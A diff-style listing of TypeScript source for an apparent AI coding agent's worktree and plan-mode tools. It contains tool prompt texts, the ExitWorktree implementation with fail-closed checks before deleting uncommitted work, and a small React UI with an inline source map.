QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsT0FDRSxDQUFDLEdBQUcsQ0FBQyxhQUFhLENBQUMsUUFBUTtBQUMvQixNQUFNLENBQUMsSUFBSTtBQUNYLHVDQUF1QyxDQUFDLElBQUksQ0FBQyxJQUFJLENBQUMsQ0FBQ0UsTUFBTSxDQUFDSSxjQUFjLENBQUMsRUFBRSxJQUFJO0FBQy9FLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsQ0FBQ0osTUFBTSxDQUFDSyxZQUFZLENBQUMsRUFBRSxJQUFJO0FBQ2hELElBQUksRUFBRSxHQUFHLENBQUM7QUFFViIsImlnbm9yZUxpc3QiOltdfQ==
src/tools/EnterWorktreeTool/constants.ts ADDED
@@ -0,0 +1 @@
 
 
1
+ export const ENTER_WORKTREE_TOOL_NAME = 'EnterWorktree'
src/tools/EnterWorktreeTool/prompt.ts ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ export function getEnterWorktreeToolPrompt(): string {
2
+ return `Use this tool ONLY when the user explicitly asks to work in a worktree. This tool creates an isolated git worktree and switches the current session into it.
3
+
4
+ ## When to Use
5
+
6
+ - The user explicitly says "worktree" (e.g., "start a worktree", "work in a worktree", "create a worktree", "use a worktree")
7
+
8
+ ## When NOT to Use
9
+
10
+ - The user asks to create a branch, switch branches, or work on a different branch — use git commands instead
11
+ - The user asks to fix a bug or work on a feature — use normal git workflow unless they specifically mention worktrees
12
+ - Never use this tool unless the user explicitly mentions "worktree"
13
+
14
+ ## Requirements
15
+
16
+ - Must be in a git repository, OR have WorktreeCreate/WorktreeRemove hooks configured in settings.json
17
+ - Must not already be in a worktree
18
+
19
+ ## Behavior
20
+
21
+ - In a git repository: creates a new git worktree inside \`.claude/worktrees/\` with a new branch based on HEAD
22
+ - Outside a git repository: delegates to WorktreeCreate/WorktreeRemove hooks for VCS-agnostic isolation
23
+ - Switches the session's working directory to the new worktree
24
+ - Use ExitWorktree to leave the worktree mid-session (keep or remove). On session exit, if still in the worktree, the user will be prompted to keep or remove it
25
+
26
+ ## Parameters
27
+
28
+ - \`name\` (optional): A name for the worktree. If not provided, a random name is generated.
29
+ `
30
+ }
src/tools/ExitPlanModeTool/constants.ts ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ export const EXIT_PLAN_MODE_TOOL_NAME = 'ExitPlanMode'
2
+ export const EXIT_PLAN_MODE_V2_TOOL_NAME = 'ExitPlanMode'
src/tools/ExitPlanModeTool/prompt.ts ADDED
@@ -0,0 +1,29 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ // External stub for ExitPlanModeTool prompt - excludes Ant-only allowedPrompts section
2
+
3
+ // Hardcoded to avoid relative import issues in stub
4
+ const ASK_USER_QUESTION_TOOL_NAME = 'AskUserQuestion'
5
+
6
+ export const EXIT_PLAN_MODE_V2_TOOL_PROMPT = `Use this tool when you are in plan mode and have finished writing your plan to the plan file and are ready for user approval.
7
+
8
+ ## How This Tool Works
9
+ - You should have already written your plan to the plan file specified in the plan mode system message
10
+ - This tool does NOT take the plan content as a parameter - it will read the plan from the file you wrote
11
+ - This tool simply signals that you're done planning and ready for the user to review and approve
12
+ - The user will see the contents of your plan file when they review it
13
+
14
+ ## When to Use This Tool
15
+ IMPORTANT: Only use this tool when the task requires planning the implementation steps of a task that requires writing code. For research tasks where you're gathering information, searching files, reading files or in general trying to understand the codebase - do NOT use this tool.
16
+
17
+ ## Before Using This Tool
18
+ Ensure your plan is complete and unambiguous:
19
+ - If you have unresolved questions about requirements or approach, use ${ASK_USER_QUESTION_TOOL_NAME} first (in earlier phases)
20
+ - Once your plan is finalized, use THIS tool to request approval
21
+
22
+ **Important:** Do NOT use ${ASK_USER_QUESTION_TOOL_NAME} to ask "Is this plan okay?" or "Should I proceed?" - that's exactly what THIS tool does. ExitPlanMode inherently requests user approval of your plan.
23
+
24
+ ## Examples
25
+
26
+ 1. Initial task: "Search for and understand the implementation of vim mode in the codebase" - Do not use the exit plan mode tool because you are not planning the implementation steps of a task.
27
+ 2. Initial task: "Help me implement yank mode for vim" - Use the exit plan mode tool after you have finished planning the implementation steps of the task.
28
+ 3. Initial task: "Add a new feature to handle user authentication" - If unsure about auth method (OAuth, JWT, etc.), use ${ASK_USER_QUESTION_TOOL_NAME} first, then use exit plan mode tool after clarifying the approach.
29
+ `
src/tools/ExitWorktreeTool/ExitWorktreeTool.ts ADDED
@@ -0,0 +1,329 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { z } from 'zod/v4'
2
+ import {
3
+ getOriginalCwd,
4
+ getProjectRoot,
5
+ setOriginalCwd,
6
+ setProjectRoot,
7
+ } from '../../bootstrap/state.js'
8
+ import { clearSystemPromptSections } from '../../constants/systemPromptSections.js'
9
+ import { logEvent } from '../../services/analytics/index.js'
10
+ import type { Tool } from '../../Tool.js'
11
+ import { buildTool, type ToolDef } from '../../Tool.js'
12
+ import { count } from '../../utils/array.js'
13
+ import { clearMemoryFileCaches } from '../../utils/claudemd.js'
14
+ import { execFileNoThrow } from '../../utils/execFileNoThrow.js'
15
+ import { updateHooksConfigSnapshot } from '../../utils/hooks/hooksConfigSnapshot.js'
16
+ import { lazySchema } from '../../utils/lazySchema.js'
17
+ import { getPlansDirectory } from '../../utils/plans.js'
18
+ import { setCwd } from '../../utils/Shell.js'
19
+ import { saveWorktreeState } from '../../utils/sessionStorage.js'
20
+ import {
21
+ cleanupWorktree,
22
+ getCurrentWorktreeSession,
23
+ keepWorktree,
24
+ killTmuxSession,
25
+ } from '../../utils/worktree.js'
26
+ import { EXIT_WORKTREE_TOOL_NAME } from './constants.js'
27
+ import { getExitWorktreeToolPrompt } from './prompt.js'
28
+ import { renderToolResultMessage, renderToolUseMessage } from './UI.js'
29
+
30
+ const inputSchema = lazySchema(() =>
31
+ z.strictObject({
32
+ action: z
33
+ .enum(['keep', 'remove'])
34
+ .describe(
35
+ '"keep" leaves the worktree and branch on disk; "remove" deletes both.',
36
+ ),
37
+ discard_changes: z
38
+ .boolean()
39
+ .optional()
40
+ .describe(
41
+ 'Required true when action is "remove" and the worktree has uncommitted files or unmerged commits. The tool will refuse and list them otherwise.',
42
+ ),
43
+ }),
44
+ )
45
+ type InputSchema = ReturnType<typeof inputSchema>
46
+
47
+ const outputSchema = lazySchema(() =>
48
+ z.object({
49
+ action: z.enum(['keep', 'remove']),
50
+ originalCwd: z.string(),
51
+ worktreePath: z.string(),
52
+ worktreeBranch: z.string().optional(),
53
+ tmuxSessionName: z.string().optional(),
54
+ discardedFiles: z.number().optional(),
55
+ discardedCommits: z.number().optional(),
56
+ message: z.string(),
57
+ }),
58
+ )
59
+ type OutputSchema = ReturnType<typeof outputSchema>
60
+ export type Output = z.infer<OutputSchema>
61
+
62
+ type ChangeSummary = {
63
+ changedFiles: number
64
+ commits: number
65
+ }
66
+
67
+ /**
68
+ * Returns null when state cannot be reliably determined — callers that use
69
+ * this as a safety gate must treat null as "unknown, assume unsafe"
70
+ * (fail-closed). A silent 0/0 would let cleanupWorktree destroy real work.
71
+ *
72
+ * Null is returned when:
73
+ * - git status or rev-list exit non-zero (lock file, corrupt index, bad ref)
74
+ * - originalHeadCommit is undefined but git status succeeded — this is the
75
+ * hook-based-worktree-wrapping-git case (worktree.ts:525-532 doesn't set
76
+ * originalHeadCommit). We can see the working tree is git, but cannot count
77
+ * commits without a baseline, so we cannot prove the branch is clean.
78
+ */
79
+ async function countWorktreeChanges(
80
+ worktreePath: string,
81
+ originalHeadCommit: string | undefined,
82
+ ): Promise<ChangeSummary | null> {
83
+ const status = await execFileNoThrow('git', [
84
+ '-C',
85
+ worktreePath,
86
+ 'status',
87
+ '--porcelain',
88
+ ])
89
+ if (status.code !== 0) {
90
+ return null
91
+ }
92
+ const changedFiles = count(status.stdout.split('\n'), l => l.trim() !== '')
93
+
94
+ if (!originalHeadCommit) {
95
+ // git status succeeded → this is a git repo, but without a baseline
96
+ // commit we cannot count commits. Fail-closed rather than claim 0.
97
+ return null
98
+ }
99
+
100
+ const revList = await execFileNoThrow('git', [
101
+ '-C',
102
+ worktreePath,
103
+ 'rev-list',
104
+ '--count',
105
+ `${originalHeadCommit}..HEAD`,
106
+ ])
107
+ if (revList.code !== 0) {
108
+ return null
109
+ }
110
+ const commits = parseInt(revList.stdout.trim(), 10) || 0
111
+
112
+ return { changedFiles, commits }
113
+ }
114
+
115
+ /**
116
+ * Restore session state to reflect the original directory.
117
+ * This is the inverse of the session-level mutations in EnterWorktreeTool.call().
118
+ *
119
+ * keepWorktree()/cleanupWorktree() handle process.chdir and currentWorktreeSession;
120
+ * this handles everything above the worktree utility layer.
121
+ */
122
+ function restoreSessionToOriginalCwd(
123
+ originalCwd: string,
124
+ projectRootIsWorktree: boolean,
125
+ ): void {
126
+ setCwd(originalCwd)
127
+ // EnterWorktree sets originalCwd to the *worktree* path (intentional — see
128
+ // state.ts getProjectRoot comment). Reset to the real original.
129
+ setOriginalCwd(originalCwd)
130
+ // --worktree startup sets projectRoot to the worktree; mid-session
131
+ // EnterWorktreeTool does not. Only restore when it was actually changed —
132
+ // otherwise we'd move projectRoot to wherever the user had cd'd before
133
+ // entering the worktree (session.originalCwd), breaking the "stable project
134
+ // identity" contract.
135
+ if (projectRootIsWorktree) {
136
+ setProjectRoot(originalCwd)
137
+ // setup.ts's --worktree block called updateHooksConfigSnapshot() to re-read
138
+ // hooks from the worktree. Restore symmetrically. (Mid-session
139
+ // EnterWorktreeTool never touched the snapshot, so no-op there.)
140
+ updateHooksConfigSnapshot()
141
+ }
142
+ saveWorktreeState(null)
143
+ clearSystemPromptSections()
144
+ clearMemoryFileCaches()
145
+ getPlansDirectory.cache.clear?.()
146
+ }
147
+
148
+ export const ExitWorktreeTool: Tool<InputSchema, Output> = buildTool({
149
+ name: EXIT_WORKTREE_TOOL_NAME,
150
+ searchHint: 'exit a worktree session and return to the original directory',
151
+ maxResultSizeChars: 100_000,
152
+ async description() {
153
+ return 'Exits a worktree session created by EnterWorktree and restores the original working directory'
154
+ },
155
+ async prompt() {
156
+ return getExitWorktreeToolPrompt()
157
+ },
158
+ get inputSchema(): InputSchema {
159
+ return inputSchema()
160
+ },
161
+ get outputSchema(): OutputSchema {
162
+ return outputSchema()
163
+ },
164
+ userFacingName() {
165
+ return 'Exiting worktree'
166
+ },
167
+ shouldDefer: true,
168
+ isDestructive(input) {
169
+ return input.action === 'remove'
170
+ },
171
+ toAutoClassifierInput(input) {
172
+ return input.action
173
+ },
174
+ async validateInput(input) {
175
+ // Scope guard: getCurrentWorktreeSession() is null unless EnterWorktree
176
+ // (specifically createWorktreeForSession) ran in THIS session. Worktrees
177
+ // created by `git worktree add`, or by EnterWorktree in a previous
178
+ // session, do not populate it. This is the sole entry gate — everything
179
+ // past this point operates on a path EnterWorktree created.
180
+ const session = getCurrentWorktreeSession()
181
+ if (!session) {
182
+ return {
183
+ result: false,
184
+ message:
185
+ 'No-op: there is no active EnterWorktree session to exit. This tool only operates on worktrees created by EnterWorktree in the current session — it will not touch worktrees created manually or in a previous session. No filesystem changes were made.',
186
+ errorCode: 1,
187
+ }
188
+ }
189
+
190
+ if (input.action === 'remove' && !input.discard_changes) {
191
+ const summary = await countWorktreeChanges(
192
+ session.worktreePath,
193
+ session.originalHeadCommit,
194
+ )
195
+ if (summary === null) {
196
+ return {
197
+ result: false,
198
+ message: `Could not verify worktree state at ${session.worktreePath}. Refusing to remove without explicit confirmation. Re-invoke with discard_changes: true to proceed — or use action: "keep" to preserve the worktree.`,
199
+ errorCode: 3,
200
+ }
201
+ }
202
+ const { changedFiles, commits } = summary
203
+ if (changedFiles > 0 || commits > 0) {
204
+ const parts: string[] = []
205
+ if (changedFiles > 0) {
206
+ parts.push(
207
+ `${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
208
+ )
209
+ }
210
+ if (commits > 0) {
211
+ parts.push(
212
+ `${commits} ${commits === 1 ? 'commit' : 'commits'} on ${session.worktreeBranch ?? 'the worktree branch'}`,
213
+ )
214
+ }
215
+ return {
216
+ result: false,
217
+ message: `Worktree has ${parts.join(' and ')}. Removing will discard this work permanently. Confirm with the user, then re-invoke with discard_changes: true — or use action: "keep" to preserve the worktree.`,
218
+ errorCode: 2,
219
+ }
220
+ }
221
+ }
222
+
223
+ return { result: true }
224
+ },
225
+ renderToolUseMessage,
226
+ renderToolResultMessage,
227
+ async call(input) {
228
+ const session = getCurrentWorktreeSession()
229
+ if (!session) {
230
+ // validateInput guards this, but the session is module-level mutable
231
+ // state — defend against a race between validation and execution.
232
+ throw new Error('Not in a worktree session')
233
+ }
234
+
235
+ // Capture before keepWorktree/cleanupWorktree null out currentWorktreeSession.
236
+ const {
237
+ originalCwd,
238
+ worktreePath,
239
+ worktreeBranch,
240
+ tmuxSessionName,
241
+ originalHeadCommit,
242
+ } = session
243
+
244
+ // --worktree startup calls setOriginalCwd(getCwd()) and
245
+ // setProjectRoot(getCwd()) back-to-back right after setCwd(worktreePath)
246
+ // (setup.ts:235/239), so both hold the same realpath'd value and BashTool
247
+ // cd never touches either. Mid-session EnterWorktreeTool sets originalCwd
248
+ // but NOT projectRoot. (Can't use getCwd() — BashTool mutates it on every
249
+ // cd. Can't use session.worktreePath — it's join()'d, not realpath'd.)
250
+ const projectRootIsWorktree = getProjectRoot() === getOriginalCwd()
251
+
252
+ // Re-count at execution time for accurate analytics and output — the
253
+ // worktree state at validateInput time may not match now. Null (git
254
+ // failure) falls back to 0/0; safety gating already happened in
255
+ // validateInput, so this only affects analytics + messaging.
256
+ const { changedFiles, commits } = (await countWorktreeChanges(
257
+ worktreePath,
258
+ originalHeadCommit,
259
+ )) ?? { changedFiles: 0, commits: 0 }
260
+
261
+ if (input.action === 'keep') {
262
+ await keepWorktree()
263
+ restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
264
+
265
+ logEvent('tengu_worktree_kept', {
266
+ mid_session: true,
267
+ commits,
268
+ changed_files: changedFiles,
269
+ })
270
+
271
+ const tmuxNote = tmuxSessionName
272
+ ? ` Tmux session ${tmuxSessionName} is still running; reattach with: tmux attach -t ${tmuxSessionName}`
273
+ : ''
274
+ return {
275
+ data: {
276
+ action: 'keep' as const,
277
+ originalCwd,
278
+ worktreePath,
279
+ worktreeBranch,
280
+ tmuxSessionName,
281
+ message: `Exited worktree. Your work is preserved at ${worktreePath}${worktreeBranch ? ` on branch ${worktreeBranch}` : ''}. Session is now back in ${originalCwd}.${tmuxNote}`,
282
+ },
283
+ }
284
+ }
285
+
286
+ // action === 'remove'
287
+ if (tmuxSessionName) {
288
+ await killTmuxSession(tmuxSessionName)
289
+ }
290
+ await cleanupWorktree()
291
+ restoreSessionToOriginalCwd(originalCwd, projectRootIsWorktree)
292
+
293
+ logEvent('tengu_worktree_removed', {
294
+ mid_session: true,
295
+ commits,
296
+ changed_files: changedFiles,
297
+ })
298
+
299
+ const discardParts: string[] = []
300
+ if (commits > 0) {
301
+ discardParts.push(`${commits} ${commits === 1 ? 'commit' : 'commits'}`)
302
+ }
303
+ if (changedFiles > 0) {
304
+ discardParts.push(
305
+ `${changedFiles} uncommitted ${changedFiles === 1 ? 'file' : 'files'}`,
306
+ )
307
+ }
308
+ const discardNote =
309
+ discardParts.length > 0 ? ` Discarded ${discardParts.join(' and ')}.` : ''
310
+ return {
311
+ data: {
312
+ action: 'remove' as const,
313
+ originalCwd,
314
+ worktreePath,
315
+ worktreeBranch,
316
+ discardedFiles: changedFiles,
317
+ discardedCommits: commits,
318
+ message: `Exited and removed worktree at ${worktreePath}.${discardNote} Session is now back in ${originalCwd}.`,
319
+ },
320
+ }
321
+ },
322
+ mapToolResultToToolResultBlockParam({ message }, toolUseID) {
323
+ return {
324
+ type: 'tool_result',
325
+ content: message,
326
+ tool_use_id: toolUseID,
327
+ }
328
+ },
329
+ } satisfies ToolDef<InputSchema, Output>)
src/tools/ExitWorktreeTool/UI.tsx ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import * as React from 'react';
2
+ import { Box, Text } from '../../ink.js';
3
+ import type { ToolProgressData } from '../../Tool.js';
4
+ import type { ProgressMessage } from '../../types/message.js';
5
+ import type { ThemeName } from '../../utils/theme.js';
6
+ import type { Output } from './ExitWorktreeTool.js';
7
+ export function renderToolUseMessage(): React.ReactNode {
8
+ return 'Exiting worktree…';
9
+ }
10
+ export function renderToolResultMessage(output: Output, _progressMessagesForMessage: ProgressMessage<ToolProgressData>[], _options: {
11
+ theme: ThemeName;
12
+ }): React.ReactNode {
13
+ const actionLabel = output.action === 'keep' ? 'Kept worktree' : 'Removed worktree';
14
+ return <Box flexDirection="column">
15
+ <Text>
16
+ {actionLabel}
17
+ {output.worktreeBranch ? <>
18
+ {' '}
19
+ (branch <Text bold>{output.worktreeBranch}</Text>)
20
+ </> : null}
21
+ </Text>
22
+ <Text dimColor>Returned to {output.originalCwd}</Text>
23
+ </Box>;
24
+ }
25
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkJveCIsIlRleHQiLCJUb29sUHJvZ3Jlc3NEYXRhIiwiUHJvZ3Jlc3NNZXNzYWdlIiwiVGhlbWVOYW1lIiwiT3V0cHV0IiwicmVuZGVyVG9vbFVzZU1lc3NhZ2UiLCJSZWFjdE5vZGUiLCJyZW5kZXJUb29sUmVzdWx0TWVzc2FnZSIsIm91dHB1dCIsIl9wcm9ncmVzc01lc3NhZ2VzRm9yTWVzc2FnZSIsIl9vcHRpb25zIiwidGhlbWUiLCJhY3Rpb25MYWJlbCIsImFjdGlvbiIsIndvcmt0cmVlQnJhbmNoIiwib3JpZ2luYWxDd2QiXSwic291cmNlcyI6WyJVSS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IFRvb2xQcm9ncmVzc0RhdGEgfSBmcm9tICcuLi8uLi9Ub29sLmpzJ1xuaW1wb3J0IHR5cGUgeyBQcm9ncmVzc01lc3NhZ2UgfSBmcm9tICcuLi8uLi90eXBlcy9tZXNzYWdlLmpzJ1xuaW1wb3J0IHR5cGUgeyBUaGVtZU5hbWUgfSBmcm9tICcuLi8uLi91dGlscy90aGVtZS5qcydcbmltcG9ydCB0eXBlIHsgT3V0cHV0IH0gZnJvbSAnLi9FeGl0V29ya3RyZWVUb29sLmpzJ1xuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFVzZU1lc3NhZ2UoKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuICdFeGl0aW5nIHdvcmt0cmVl4oCmJ1xufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2UoXG4gIG91dHB1dDogT3V0cHV0LFxuICBfcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U6IFByb2dyZXNzTWVzc2FnZTxUb29sUHJvZ3Jlc3NEYXRhPltdLFxuICBfb3B0aW9uczogeyB0aGVtZTogVGhlbWVOYW1lIH0sXG4pOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCBhY3Rpb25MYWJlbCA9XG4gICAgb3V0cHV0LmFjdGlvbiA9PT0gJ2tlZXAnID8gJ0tlcHQgd29ya3RyZWUnIDogJ1JlbW92ZWQgd29ya3RyZWUnXG4gIHJldHVybiAoXG4gICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCI+XG4gICAgICA8VGV4dD5cbiAgICAgICAge2FjdGlvbkxhYmVsfVxuICAgICAgICB7b3V0cHV0Lndvcmt0cmVlQnJhbmNoID8gKFxuICAgICAgICAgIDw+XG4gICAgICAgICAgICB7JyAnfVxuICAgICAgICAgICAgKGJyYW5jaCA8VGV4dCBib2xkPntvdXRwdXQud29ya3RyZWVCcmFuY2h9PC9UZXh0PilcbiAgICAgICAgICA8Lz5cbiAgICAgICAgKSA6IG51bGx9XG4gICAgICA8L1RleHQ+XG4gICAgICA8VGV4dCBkaW1Db2xvcj5SZXR1cm5lZCB0byB7b3V0cHV0Lm9yaWdpbmFsQ3dkfTwvVGV4dD5cbiAgICA8L0JveD5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiQUFBQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsY0FBY0MsZ0JBQWdCLFFBQVEsZUFBZTtBQUNyRCxjQUFjQyxlQUFlLFFBQVEsd0JBQXdCO0FBQzdELGNBQWNDLFNBQVMsUUFBUSxzQkFBc0I7QUFDckQsY0FBY0MsTUFBTSxRQUFRLHVCQUF1QjtBQUVuRCxPQUFPLFNBQVNDLG9CQUFvQkEsQ0FBQSxDQUFFLEVBQUVQLEtBQUssQ0FBQ1EsU0FBUyxDQUFDO0VBQ3RELE9BQU8sbUJBQW1CO0FBQzVCO0FBRUEsT0FBTyxTQUFTQyx1QkFBdUJBLENBQ3JDQyxNQUFNLEVBQUVKLE1BQU0sRUFDZEssMkJBQTJCLEVBQUVQLGVBQWUsQ0FBQ0QsZ0JBQWdCLENBQUMsRUFBRSxFQUNoRVMsUUFBUSxFQUFFO0VBQUVDLEtBQUssRUFBRVIsU0FBUztBQUFDLENBQUMsQ0FDL0IsRUFBRUwsS0FBSyxDQUFDUSxTQUFTLENBQUM7RUFDakIsTUFBTU0sV0FBVyxHQUNmSixNQUFNLENBQUNLLE1BQU0sS0FBSyxNQUFNLEdBQUcsZUFBZSxHQUFHLGtCQUFrQjtFQUNqRSxPQUNFLENBQUMsR0FBRyxDQUFDLGFBQWEsQ0FBQyxRQUFRO0FBQy9CLE1BQU0sQ0FBQyxJQUFJO0FBQ1gsUUFBUSxDQUFDRCxXQUFXO0FBQ3BCLFFBQVEsQ0FBQ0osTUFBTSxDQUFDTSxjQUFjLEdBQ3BCO0FBQ1YsWUFBWSxDQUFDLEdBQUc7QUFDaEIsb0JBQW9CLENBQUMsSUFBSSxDQUFDLElBQUksQ0FBQyxDQUFDTixNQUFNLENBQUNNLGNBQWMsQ0FBQyxFQUFFLElBQUksQ0FBQztBQUM3RCxVQUFVLEdBQUcsR0FDRCxJQUFJO0FBQ2hCLE1BQU0sRUFBRSxJQUFJO0FBQ1osTUFBTSxDQUFDLElBQUksQ0FBQyxRQUFRLENBQUMsWUFBWSxDQUFDTixNQUFNLENBQUNPLFdBQVcsQ0FBQyxFQUFFLElBQUk7QUFDM0QsSUFBSSxFQUFFLEdBQUcsQ0FBQztBQUVWIiwiaWdub3JlTGlzdCI6W119